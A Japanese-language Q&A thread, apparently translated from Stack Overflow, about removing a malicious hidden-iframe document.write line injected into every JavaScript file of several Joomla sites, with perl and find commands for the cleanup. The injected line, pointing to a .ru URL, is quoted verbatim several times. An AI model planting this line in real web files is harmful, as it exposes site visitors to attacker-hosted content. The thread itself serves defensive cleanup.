1

次の悪意のある行が、共有ホストアカウントのすべてのJoomlaインストールのすべてのjsファイルの最後に挿入されました。

;document.write('<iframe src="http://tweakdoled.ru/confirmingunhelpful.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');

次のSSHコマンドを使用してすべてのファイルから一度に削除したい(いくつかのエラーがあるはずです):

find ./ -name "*.js" -type f | xargs perl -pi -e 's/;document.write\(\'\<iframe src\=\"http\:\/\/tweakdoled.ru\".*\"\);//g'

問題は、一部の文字をエスケープするためにバックスラッシュを使用する必要があるため、バックスラッシュを正しく使用しているかどうか、および他に何をエスケープする必要があるかがわかりません。

言うまでもなく、そのコマンドは機能していません。

何か案は?

ありがとう!!

4

1 に答える 1

1

Perl\Q...\E表記を使用して、メタ文字を一時停止します。ただし、文字列にはシェルに固有の文字の混乱が含まれているため、(置換される文字列には表示されないscript.pl)を使用して、Perl正規表現をファイル()に配置します。%正規表現の区切り文字として:

s%\Q;document.write('<iframe src="http://tweakdoled.ru/confirmingunhelpful.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');\E%%g;

そして、それを次のように実行します。

find ./ -name "*.js" -type f | xargs perl -pi.bak -f script.pl

十分な時間を費やすと、スクリプトファイルなしで動作させる方法を見つけることができるでしょう。ただし、おそらく努力する価値はありません(特に、数日前にこれと非常によく似た質問をしたと確信しているため)。

明らかに、これを実行してファイルを編集する前に、バリアントを実行して、求められている行が印刷されていることを確認します。

script2.pl

print if m%\Q;document.write('<iframe src="http://tweakdoled.ru/confirmingunhelpful.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');\E%;

使用して実行:

find ./ -name "*.js" -type f | xargs perl -n -f script2.pl

これで線が検出されない場合は、一致するものが見つかるまでバリエーションを追跡します。次のようなものを使用することを決定するかもしれません:

print if m%;document.write.'<iframe src="http://tweakdoled.ru/confirmingunhelpful.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'.;%;

これにより、2つの括弧がに置き換えられます.(したがって、理論的には他の何かと一致する可能性がありますが、実際には一致しません)。

于 2012-11-13T00:56:20.380 に答える